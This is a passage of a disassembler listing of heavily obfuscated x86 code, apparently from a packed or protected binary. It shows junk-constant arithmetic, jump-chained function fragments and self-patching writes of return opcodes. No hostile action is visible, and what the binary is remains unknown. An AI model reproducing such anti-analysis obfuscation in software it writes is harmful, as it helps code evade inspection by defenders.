; FUNCTION CHUNK AT 0075729D SIZE 00000005 BYTES

		jz	sub_752D6B
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_74B2AC, 0
		jmp	loc_755A83
sub_74C2C9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75379A


loc_74C2DF:				; CODE XREF: sub_75379A+Dj
		cmp	dword ptr [eax-14h], 4
		jnz	loc_74782D


loc_74C2E9:				; CODE XREF: _0z4jwtox:loc_74CF29j
		mov	eax, [ebp+8]
; END OF FUNCTION CHUNK	FOR sub_75379A
; START	OF FUNCTION CHUNK FOR sub_74BF3A


loc_74C2EC:				; CODE XREF: sub_74BF3A:loc_750033j
		push	offset sub_747736
		jmp	loc_74ABB2
; END OF FUNCTION CHUNK	FOR sub_74BF3A

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_74C2F6	proc near		; CODE XREF: sub_74E762:loc_749280j
		retn
sub_74C2F6	endp

; ---------------------------------------------------------------------------
		db 9
dword_74C2F8	dd 0FFFF8000h, 74h, 0FFFF8000h,	2, 0FFFF8000h, 0Dh, 0FFFF8000h
					; DATA XREF: sub_748773+4634o
					; sub_74D782:loc_752F1Fo
		dd 1, 0FFFF8000h, 73h, 0FFFF8000h, 0Bh,	0FFFF8000h, 9
		dd 0FFFF8000h, 15h, 0FFFF8000h,	10h, 0FFFF8000h, 13h, 0FFFF8000h
		dd 12h,	0FFFF8000h, 97h, 0FFFF8000h, 17h, 0FFFF8000h, 0Ah
		dd 0FFFF8000h, 4, 0FFFF8000h, 3
dword_74C378	dd 71AB0000h, 7D323575h, 23C56466h, 0E9001B6Ch,	2450h
					; DATA XREF: sub_747F9D+3o
		dd 74DCB368h, 0A7CAE900h, 0CFC10000h, 75C3E913h
		db 2 dup(0), 99h

; =============== S U B	R O U T	I N E =======================================



sub_74C39F	proc near		; CODE XREF: sub_74A7D8p
		xchg	esi, [esp+0]
		pop	esi
		call	sub_74C3B3
		jmp	ds:off_41F0EC
sub_74C39F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D0A9


loc_74C3AE:				; CODE XREF: sub_74D0A9+1j
		jmp	loc_746619
; END OF FUNCTION CHUNK	FOR sub_74D0A9

; =============== S U B	R O U T	I N E =======================================



sub_74C3B3	proc near		; CODE XREF: sub_74C39F+4p
					; sub_747C39+B3A2j ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074906B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 007498A6 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0074C970 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 007510DA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00752FE0 SIZE 0000000B BYTES

		js	loc_752FE0
		jmp	loc_7510DA
sub_74C3B3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B719


loc_74C3BE:				; CODE XREF: sub_74B719-2F52j
		jnz	loc_755B94
		mov	eax, [ebp+8]
		push	eax
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F6h
		call	sub_755CFC
; END OF FUNCTION CHUNK	FOR sub_74B719
; START	OF FUNCTION CHUNK FOR sub_747736


loc_74C3D7:				; CODE XREF: sub_747736+3FFFj
		jnz	loc_756515
		mov	eax, [ebp+8]
		mov	eax, [eax-8]
		or	eax, 8
		jmp	loc_756507
; END OF FUNCTION CHUNK	FOR sub_747736

; =============== S U B	R O U T	I N E =======================================



sub_74C3EB	proc near		; DATA XREF: sub_746C84:loc_74B5C3o

; FUNCTION CHUNK AT 00745532 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074A0FB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0074F571 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00750BBB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 007526F4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00756F67 SIZE 0000000B BYTES

		pop	edx
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_750C6E
		jmp	loc_74F571
sub_74C3EB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755F42


loc_74C3FC:				; CODE XREF: sub_755F42:loc_753A72j
		jnz	loc_74DFA8
; END OF FUNCTION CHUNK	FOR sub_755F42
; START	OF FUNCTION CHUNK FOR sub_74D4D3


loc_74C402:				; CODE XREF: sub_74D4D3-2894j
		jmp	loc_74AE02
; END OF FUNCTION CHUNK	FOR sub_74D4D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750291


loc_74C407:				; CODE XREF: sub_750291-6105j
		jmp	loc_75742D
; END OF FUNCTION CHUNK	FOR sub_750291
; ---------------------------------------------------------------------------
		xor	eax, esi
		jmp	loc_74DFA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756327


loc_74C413:				; CODE XREF: sub_756327+1j
		push	1E126E53h
		pop	ecx
		sub	ecx, 801F5357h
		xor	ecx, 86E18A5Dh
		jmp	loc_7540FF
; END OF FUNCTION CHUNK	FOR sub_756327
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749B95


loc_74C42A:				; CODE XREF: sub_749B95:loc_745C48j
		pop	ebx
		and	ebx, 344A7723h
		sub	ebx, 93B328EFh
		and	ebx, 2C24D2ECh
		xor	ebx, 6953B478h
		sub	eax, ebx
		jmp	loc_74E775
; END OF FUNCTION CHUNK	FOR sub_749B95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_74C44A:				; CODE XREF: sub_74C670:loc_74DABBj
		jnz	loc_7520F7
		jmp	loc_753878
; END OF FUNCTION CHUNK	FOR sub_74C670
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_52. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750243


loc_74C456:				; CODE XREF: sub_750243-2DD7j
		jmp	loc_7567C6
; END OF FUNCTION CHUNK	FOR sub_750243
; ---------------------------------------------------------------------------


loc_74C45B:				; CODE XREF: _0z4jwtox:0074860Aj
		shr	ebp, 1Fh

; =============== S U B	R O U T	I N E =======================================



sub_74C45E	proc near		; CODE XREF: _0z4jwtox:00753604p

; FUNCTION CHUNK AT 0074D376 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074DF88 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 007541E5 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	eax
		jmp	loc_7541E5
sub_74C45E	endp

; ---------------------------------------------------------------------------


loc_74C468:				; CODE XREF: _0z4jwtox:00750BE2j
		mov	eax, 5073E712h
		add	eax, ebx
		sbb	ecx, ebp
		xchg	ebx, ebp
; START	OF FUNCTION CHUNK FOR sub_74E693


loc_74C473:				; CODE XREF: sub_74E693:loc_750BD5j
		add	edi, 0E30F50B5h
		popf
		push	offset sub_75504B
		jmp	nullsub_235
; END OF FUNCTION CHUNK	FOR sub_74E693
; ---------------------------------------------------------------------------


loc_74C484:				; CODE XREF: _0z4jwtox:0074AA7Dj
		shl	ebx, 0Fh
; START	OF FUNCTION CHUNK FOR sub_74F615


loc_74C487:				; CODE XREF: sub_74F615:loc_74AA6Cj
		rol	eax, 18h
		call	sub_74D02D


loc_74C48F:				; CODE XREF: sub_74F249+10j
		jmp	loc_748C4B
; END OF FUNCTION CHUNK	FOR sub_74F615
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BDFA


loc_74C494:				; CODE XREF: sub_74BDFA-6C8Dj
		jmp	nullsub_185
; END OF FUNCTION CHUNK	FOR sub_74BDFA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752520


loc_74C499:				; CODE XREF: sub_752520+4AB2j
		jg	loc_746F3D
		cdq


loc_74C4A0:				; CODE XREF: sub_749306:loc_75556Fj
		jmp	loc_7472FB
; END OF FUNCTION CHUNK	FOR sub_752520
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753FCE


loc_74C4A5:				; CODE XREF: sub_753FCE+Cj
		sub	al, 99h
		mov	edx, [ebp-4]


loc_74C4AA:				; CODE XREF: sub_7541BA:loc_74E927j
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_7472FB
		jmp	loc_74C5E0
; END OF FUNCTION CHUNK	FOR sub_753FCE
; ---------------------------------------------------------------------------


loc_74C4B9:				; CODE XREF: _0z4jwtox:0074A107j
		xor	ebp, ebx

; =============== S U B	R O U T	I N E =======================================



sub_74C4BB	proc near		; CODE XREF: sub_747C0C+3F0Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074875B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0074EE6D SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00755806 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	edx
		push	ebx
		push	328C0A65h
		pop	ebx
		jmp	loc_755806
sub_74C4BB	endp

; ---------------------------------------------------------------------------
		push	edx
		push	0DADA73D2h
		xor	edx, 329DAC81h
		jmp	loc_752B6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7474B9


loc_74C4E0:				; CODE XREF: sub_7474B9+17j
		pop	eax
		add	eax, 0A4BAC5DDh
		and	eax, 0F8D556C4h
		xor	eax, 0B8C46F0Fh
		call	sub_746E93
		mov	ds:off_41F0F0, eax
		jmp	loc_7501FD
; END OF FUNCTION CHUNK	FOR sub_7474B9
; ---------------------------------------------------------------------------
		sbb	ebp, 5369634h
		jmp	sub_756834
; ---------------------------------------------------------------------------


loc_74C50E:				; CODE XREF: _0z4jwtox:00753345j
		lea	eax, loc_74EB33
		mov	byte ptr [eax],	0C3h
		jmp	loc_753129

; =============== S U B	R O U T	I N E =======================================



sub_74C51C	proc near		; CODE XREF: sub_405815+80p
					; sub_408F94+BFp ...
		call	sub_74C527
		jmp	ds:off_41F090
sub_74C51C	endp


; =============== S U B	R O U T	I N E =======================================



sub_74C527	proc near		; CODE XREF: sub_74553D+3j sub_74C51Cp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00745545 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 007555E5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0075661F SIZE 0000001A BYTES

		pop	edx
		jnb	loc_745545
		mov	eax, [esp+4+var_4]
		jmp	loc_7555E5
sub_74C527	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_74C536:				; CODE XREF: _0z4jwtox:loc_755552j
		retn
; ---------------------------------------------------------------------------


loc_74C537:				; DATA XREF: sub_74673E:loc_748EB3o
		xchg	edi, [esp]
		mov	edx, edi
		pop	edi
		jno	loc_754E52
		mov	eax, [esp]
		jmp	loc_7570B9
; ---------------------------------------------------------------------------


loc_74C54B:				; DATA XREF: _0z4jwtox:loc_74924Ao
		mov	eax, [esp]
		push	edi
		mov	edi, edx
		xchg	edi, [esp]
		call	sub_75364C
		jmp	loc_748AF8
; ---------------------------------------------------------------------------
		and	ecx, 8282BCF0h
		jmp	sub_74A8F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A4B0


loc_74C569:				; CODE XREF: sub_74A4B0+Ej
		push	edx
		call	sub_750C4E
		mov	eax, 92A798AFh
		call	sub_746E93
		mov	ds:off_41F118, eax
		jmp	loc_756491
; END OF FUNCTION CHUNK	FOR sub_74A4B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F615


loc_74C584:				; CODE XREF: sub_74F615:loc_74F621j
		pop	eax
		or	eax, 0BF0BD2B5h
		jnz	loc_74AD9E
		test	esi, edi
		jmp	loc_74AD93
; END OF FUNCTION CHUNK	FOR sub_74F615
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C68A


loc_74C598:				; CODE XREF: sub_74C68A+1B53j
		xchg	edx, [esp+0]
		jmp	loc_74ACF0
; END OF FUNCTION CHUNK	FOR sub_74C68A
; ---------------------------------------------------------------------------


loc_74C5A0:				; CODE XREF: _0z4jwtox:00750AC6j
		jge	loc_753C57
		shl	esi, 1Bh
		jmp	loc_7576BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7452F3


loc_74C5AE:				; CODE XREF: sub_7452F3+7j
		mov	ebp, esp
		call	sub_74F5B8


loc_74C5B5:				; CODE XREF: _0z4jwtox:00749901j
		jmp	loc_745A98
; END OF FUNCTION CHUNK	FOR sub_7452F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749608


loc_74C5BA:				; CODE XREF: sub_749608+25D9j
		mov	esi, edi
		pop	edi
		rol	esi, 3
		or	esi, 0C0689862h
		and	esi, 0A678D7B0h
		jnz	loc_74B4B3


loc_74C5D2:				; CODE XREF: sub_749487+21j
		jnz	loc_7458A6
		mov	eax, [ebp+8]
		call	sub_747820
; END OF FUNCTION CHUNK	FOR sub_749608
; START	OF FUNCTION CHUNK FOR sub_753FCE


loc_74C5E0:				; CODE XREF: sub_753FCE-7B1Aj
		jmp	loc_749E71
; END OF FUNCTION CHUNK	FOR sub_753FCE
; ---------------------------------------------------------------------------


loc_74C5E5:				; CODE XREF: _0z4jwtox:00748476j
		call	sub_745E95
		xchg	eax, [esp]
		mov	edx, eax
		pop	eax
		xchg	esi, [esp]
		mov	eax, esi
		pop	esi
		mov	ds:dword_756678, edx
		jmp	loc_752F71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_74C601:				; CODE XREF: sub_747AEC+Bj
		pop	eax
		or	eax, 19DF8DE2h
		and	eax, 0D77D3376h


loc_74C60E:				; CODE XREF: _0z4jwtox:0075607Aj
		add	eax, 6D179756h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_74D1AD
		jmp	loc_752798
; END OF FUNCTION CHUNK	FOR sub_747AEC
; ---------------------------------------------------------------------------


loc_74C623:				; CODE XREF: _0z4jwtox:007528B0j
		test	ebp, 9066DC3Ah
		jmp	loc_7453F5
; ---------------------------------------------------------------------------
		mov	ds:dword_41F050, eax
		lea	eax, nullsub_19
		mov	byte ptr [eax],	0C3h
		jmp	loc_74C031
; ---------------------------------------------------------------------------
		push	esi
		push	0B917794Bh
		pop	esi
		or	esi, 0A6A3B297h
		jmp	loc_748418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D1F3


loc_74C654:				; CODE XREF: sub_74D1F3-225Cj
		and	eax, 0AB1186CCh
		xor	eax, 1C63DEC1h
		add	eax, ebp
		add	eax, 429C27AFh
		mov	eax, [eax]
		jmp	loc_748DB2
; END OF FUNCTION CHUNK	FOR sub_74D1F3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_227. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_74C670	proc near		; CODE XREF: _0z4jwtox:007452C9j
					; sub_754A3D-E09Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00745064 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00745A8D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00747BC4 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00749FF4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074AB8E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074ABC6 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0074B7E2 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0074BD5F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0074C44A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074C703 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074C815 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074D185 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074DA5D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074DABB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074E8BB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074EBEC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074FA46 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00750530 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 007505A1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 007520F1 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 007530D5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 007533D9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00753878 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00753B55 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 007547E3 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00754D71 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 007559AB SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00755BF9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00756ABA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00757336 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0075753E SIZE 0000000E BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [ebp-4]
		mov	al, [eax]
		jz	loc_750530
		jmp	loc_74EBEC
sub_74C670	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_74C684:				; CODE XREF: _0z4jwtox:0074F7FDj
		and	ebp, 1454FADDh

; =============== S U B	R O U T	I N E =======================================



sub_74C68A	proc near		; CODE XREF: sub_74C670-E86p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074ACF0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074C598 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074CC14 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074E1BC SIZE 00000026 BYTES

		xchg	edi, [esp+0]
		pop	edi
		xchg	esi, [esp-4+arg_0]
		push	edx
		jmp	loc_74CC14
sub_74C68A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746869


loc_74C697:				; CODE XREF: sub_746869+CA8Bj
		xor	ebp, edi


loc_74C699:				; CODE XREF: _0z4jwtox:00745591j
		cdq


loc_74C69A:				; CODE XREF: sub_746869:loc_74B694j
		movzx	eax, word ptr [ebp-6]
		push	offset sub_746D87
		jmp	nullsub_284
; END OF FUNCTION CHUNK	FOR sub_746869
; ---------------------------------------------------------------------------


loc_74C6A8:				; CODE XREF: _0z4jwtox:00745006j
		xor	edx, 5D324A25h
		jmp	loc_753394
; ---------------------------------------------------------------------------


loc_74C6B3:				; CODE XREF: _0z4jwtox:007532ACj
		jge	loc_750CA3


loc_74C6B9:				; CODE XREF: _0z4jwtox:0074D2D2j
		xor	eax, 3B4F6773h
		pushf
		not	edi
		jmp	loc_750CA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747290


loc_74C6C7:				; CODE XREF: sub_747290+5F56j
		cmp	ecx, 0F3C953B8h
		jmp	loc_745CA4
; END OF FUNCTION CHUNK	FOR sub_747290
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_74C6D2:				; CODE XREF: sub_74FE55-1B67j
		mov	edi, edx


loc_74C6D4:				; CODE XREF: sub_746C5E:loc_757470j
		push	1E0A12Dh
		pop	eax
		sub	eax, 0B19FA1BAh
		xor	eax, 0EA01158Dh
		and	eax, 8ABA06B3h
		add	eax, 65C82709h
		jmp	loc_74B266
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748C0D


loc_74C6F7:				; CODE XREF: sub_748C0D:loc_74910Bj
		call	sub_749306
		cmp	eax, ecx
		jmp	loc_749850
; END OF FUNCTION CHUNK	FOR sub_748C0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_74C703:				; CODE XREF: sub_74C670:loc_74D185j
		jz	loc_755BF9
		jmp	loc_756ABA
; END OF FUNCTION CHUNK	FOR sub_74C670
; ---------------------------------------------------------------------------


loc_74C70E:				; DATA XREF: sub_74946E+D428o
		push	552F7508h
		pop	edx
		sub	edx, 5423AF63h
		or	edx, 57BCBF34h
		and	edx, 0CF24530h
		add	edx, 0FBC328A4h
		call	sub_750DD4


loc_74C731:				; CODE XREF: _0z4jwtox:0074BCDFj
		mov	ebp, [edi]

; =============== S U B	R O U T	I N E =======================================



sub_74C733	proc near		; CODE XREF: sub_7553F4+9p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00746482 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00746D9E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0074F956 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 007511E4 SIZE 0000001C BYTES

		xchg	edx, [esp+0]
		pop	edx
		ror	eax, 17h
		jmp	loc_746D9E
sub_74C733	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_74C73F:				; CODE XREF: _0z4jwtox:0075727Dj
		xchg	esi, edi
		or	esi, ebx


loc_74C743:				; CODE XREF: _0z4jwtox:loc_75726Fj
		xor	eax, 784D8278h
		call	sub_749C06
		mov	eax, 662F423h
		call	sub_746E93
		push	edx
		push	27B52D6Ah
		jmp	loc_74DDA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748D38


loc_74C763:				; CODE XREF: sub_748D38+Aj
		rol	eax, 1
		sub	eax, 0CF48F716h
		jmp	loc_7523B3
; END OF FUNCTION CHUNK	FOR sub_748D38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746C5E


loc_74C770:				; CODE XREF: sub_746C5Ej
		mov	eax, ds:dword_748C94
		or	eax, eax
		jnz	loc_754E7F
		jmp	loc_757470
; END OF FUNCTION CHUNK	FOR sub_746C5E
; ---------------------------------------------------------------------------
		sub	edi, esi
		jmp	sub_748551
; ---------------------------------------------------------------------------
		shr	ebp, 16h
		jmp	sub_7474B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C874


loc_74C792:				; CODE XREF: sub_74C874:loc_745973j
		call	sub_746E93
		push	ebx
		mov	ebx, esi
		xchg	ebx, [esp+4+var_4]
		jmp	loc_755AB5
; END OF FUNCTION CHUNK	FOR sub_74C874

; =============== S U B	R O U T	I N E =======================================



sub_74C7A2	proc near		; CODE XREF: sub_74BD26:loc_754A38j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00747E30 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074D28C SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0074EAC7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00753A58 SIZE 00000005 BYTES

		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp+4+var_4]
		call	sub_745715
		mov	eax, 637A7446h
		jmp	loc_74EAC7
sub_74C7A2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A3AB


loc_74C7B7:				; CODE XREF: sub_74A3AB-D51j
		lea	eax, loc_749785
		mov	byte ptr [eax],	0C3h
		jmp	loc_749785
; END OF FUNCTION CHUNK	FOR sub_74A3AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F08D


loc_74C7C5:				; CODE XREF: sub_74F08D:loc_749785j
		pop	edx
		call	sub_7577AC


loc_74C7CB:				; CODE XREF: _0z4jwtox:00757768j
		xor	edi, 0DC2F92A1h
		push	ecx


loc_74C7D2:				; CODE XREF: sub_74AE46+3832j
		jmp	loc_74639F
; END OF FUNCTION CHUNK	FOR sub_74F08D
; ---------------------------------------------------------------------------
		add	ebx, esi
		jmp	sub_7566FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7462C2


loc_74C7DE:				; CODE XREF: sub_7462C2+EFDBj
		sub	ecx, edi
		mov	esi, [edi]


loc_74C7E2:				; CODE XREF: sub_7462C2:loc_752B7Aj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_7510C0
		jmp	loc_752B54
; END OF FUNCTION CHUNK	FOR sub_7462C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D1F3


loc_74C7F3:				; CODE XREF: sub_74D1F3:loc_747286j
		jz	loc_7554A3
		jmp	loc_74BE1F
; END OF FUNCTION CHUNK	FOR sub_74D1F3
; ---------------------------------------------------------------------------


loc_74C7FE:				; CODE XREF: _0z4jwtox:loc_752E86j
		add	ebx, 0C7529459h
		mov	[ebx], eax
		pop	ebx
		lea	eax, nullsub_269
		mov	byte ptr [eax],	0C3h
		jmp	loc_7485BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_74C815:				; CODE XREF: sub_74C670:loc_7505B6j
		add	ebp, 0E7C0EE17h
		rol	eax, 16h
		test	ecx, 2844C31Bh
		jmp	loc_7547E3
; END OF FUNCTION CHUNK	FOR sub_74C670
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750243


loc_74C829:				; CODE XREF: sub_750243:loc_74CC7Bj
		mov	[ebp+var_C], eax
		call	sub_7508F9


loc_74C831:				; CODE XREF: _0z4jwtox:00755D6Aj
		jmp	loc_74D453
; END OF FUNCTION CHUNK	FOR sub_750243
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748C3B


loc_74C836:				; CODE XREF: sub_748C3B+4813j
		jmp	loc_751152
; END OF FUNCTION CHUNK	FOR sub_748C3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B079


loc_74C83B:				; CODE XREF: sub_74B079:loc_749C57j
		or	esi, 0F81C95A6h
		xor	esi, 99AD7ECDh
		add	esi, 9D63A49Eh
		xchg	esi, [esp+4+var_4]
		jmp	loc_754618
; END OF FUNCTION CHUNK	FOR sub_74B079
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E11E


loc_74C855:				; CODE XREF: sub_74E11E-386Ej
		and	eax, 8A1A0028h
		xor	eax, 8E653C88h
		push	edi
		pushf
		push	74906EBDh
		pop	edi
		add	edi, 47464DFBh
		jmp	loc_74C286
; END OF FUNCTION CHUNK	FOR sub_74E11E

; =============== S U B	R O U T	I N E =======================================



sub_74C874	proc near		; CODE XREF: sub_745828p sub_7496A8+Dj ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00745973 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007464C2 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 007469B0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0074961F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 007496BA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074C792 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0074CB8E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074D666 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0074E095 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0074F277 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00755AB5 SIZE 00000005 BYTES

		js	loc_7496BA
		pop	edx
		mov	eax, [esp+0]
		push	edx
		call	sub_745715
		push	3D9C1F3Fh
		pop	eax
		jmp	loc_74D666
sub_74C874	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_74C88F:				; CODE XREF: _0z4jwtox:0074FA40j
		xchg	ebp, [esp]
		push	edx
		push	0B7FAD842h
		pop	edx
		rol	edx, 0Fh
		add	edx, 8556E0A4h
		or	edx, 9B44AB0Fh
		add	edx, 4F7A836h
		jmp	loc_7548BF
; ---------------------------------------------------------------------------
		sbb	ebp, ecx
		push	edi
		jmp	sub_74AE67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D4D3


loc_74C8BB:				; CODE XREF: sub_74D4D3:loc_74E64Dj
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_74D4D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7508F9


loc_74C8BF:				; CODE XREF: sub_7508F9:loc_746406j
					; sub_7508F9:loc_74C910j
		mov	eax, [ebp-0Ch]
		movzx	eax, byte ptr [eax]
		add	[ebp-8], eax
		jmp	loc_748EAE
; END OF FUNCTION CHUNK	FOR sub_7508F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_74C8CD:				; CODE XREF: sub_74673E+1B2Ej
		jz	loc_750A7D
		and	ebx, ebp
		jmp	loc_74CD65
; END OF FUNCTION CHUNK	FOR sub_74673E

; =============== S U B	R O U T	I N E =======================================



sub_74C8DA	proc near		; DATA XREF: sub_75299B-6FC0o

; FUNCTION CHUNK AT 00746E0A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00749692 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00749A12 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0074A8C1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0074ABB7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074B071 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074B52B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0074C0B2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074DC95 SIZE 00000005 BYTES
